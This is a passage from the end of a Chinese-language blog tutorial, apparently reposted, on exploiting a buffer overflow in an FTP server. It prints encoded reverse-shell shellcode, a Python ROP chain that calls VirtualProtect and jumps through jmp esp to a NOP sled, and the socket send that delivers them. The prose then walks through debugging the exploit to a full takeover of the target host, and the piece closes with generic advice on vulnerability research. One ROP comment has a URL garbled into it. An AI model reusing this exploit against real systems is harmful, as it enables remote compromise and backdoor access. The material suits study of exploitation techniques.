buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
rop = struct.pack ('<L',0x7c349614) # ret
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffcdf) #
rop += struct.pack('<L',0x7c379c10) # add ebp,eax
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffdff) # value = https://www.cnblogs.com/LyShark/archive/2023/07/12/0x201
rop += struct.pack('<L',0x7c353c73) # neg eax
rop += struct.pack('<L',0x7c34373a) # pop ebx
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # inc ebx
rop += struct.pack('<L',0x7c352174) # add ebx,eax
rop += struct.pack('<L',0x7c344efe) # pop edx
rop += struct.pack('<L',0xffffffc0) # 0x40h
rop += struct.pack('<L',0x7c351eb1) # neg edx
rop += struct.pack('<L',0x7c36ba51) # pop ecx
rop += struct.pack('<L',0x7c38f2f4) # &writetable
rop += struct.pack('<L',0x7c34a490) # pop edi
rop += struct.pack('<L',0x7c346c0b) # ret (rop nop)
rop += struct.pack('<L',0x7c352dda) # pop esi
rop += struct.pack('<L',0x7c3415a2) # jmp [eax]
rop += struct.pack('<L',0x7c34d060) # pop eax
rop += struct.pack('<L',0x7c37a151) # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed) # jmp esp 原始EIP地址
sock.send(command + buffer + rop + nops + buf)
sock.close()
此時我們回到被攻擊主機,并通過x64DBG
附加除錯FTP服務程式,然后手動在第一條鏈上下斷點0x7c349614
然后運行攻擊腳本,觀察堆疊的變化,
如下圖就是運行后的堆疊,你可以清晰的看到堆疊,堆疊頂的41414141
就是我們填充的合法指令,而接著下方就是我們構建的ROP鏈,當執行完這條鏈的時候此時的當前的堆疊就會被賦予可執行權限;
最后呼叫0x625011ed
也就是jmp esp
跳轉到下方連續的0x90
NOP墊片位置,此時當墊片被執行完畢,就會順利的執行我們所布置好的ShellCode
反彈后門,
繼續跟隨,Nop墊片結束后則滑向ShellCode后門代碼片段,則此時后門就被順利運行了,如下圖所示;
通過按下F9讓程式直接運行起來,此時回到攻擊主機,則此時會看到我們已經拿到了主機的完整控制權;
至此筆者已經展示了漏洞挖掘的具體實作細節,在真正的漏洞挖掘場景中其思路與上述案例完全一致,本案例也僅僅只是讓讀者能夠理解漏洞的產生,以及如何挖掘,并以此揭秘讀者心中的疑惑, 同時在實際的漏洞挖掘中,讀者也需要遵循一些基本的原則,例如:
- 掌握相關技術:漏洞挖掘需要掌握相關的技術,例如程式分析、二進制分析、網路協議等等,這些技術能夠幫助你識別可能存在的漏洞,
- 熟悉目標:了解目標系統的結構、代碼庫、協議等資訊,有助于快速定位漏洞,
- 使用工具:使用專門的工具可以提高效率和準確性,例如漏洞掃描器、反匯編器、除錯器等等,
- 堅持實踐:漏洞挖掘需要不斷地實踐和嘗試,通過不斷的學習和實踐,才能提高自己的技能和能力,
總之,漏洞挖掘是一項需要技術和經驗的作業,需要不斷學習和實踐,才能取得好的成果,也希望讀者能多多實踐,早日成為漏洞挖掘專業人士;
原文地址
https://www.lyshark.com/post/a3c91ef.html
文章作者:lyshark (王瑞)文章出處:https://www.cnblogs.com/LyShark/p/17546546.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/557147.html
標籤:其他
上一篇:批量解壓上傳SAP Note
下一篇:返回列表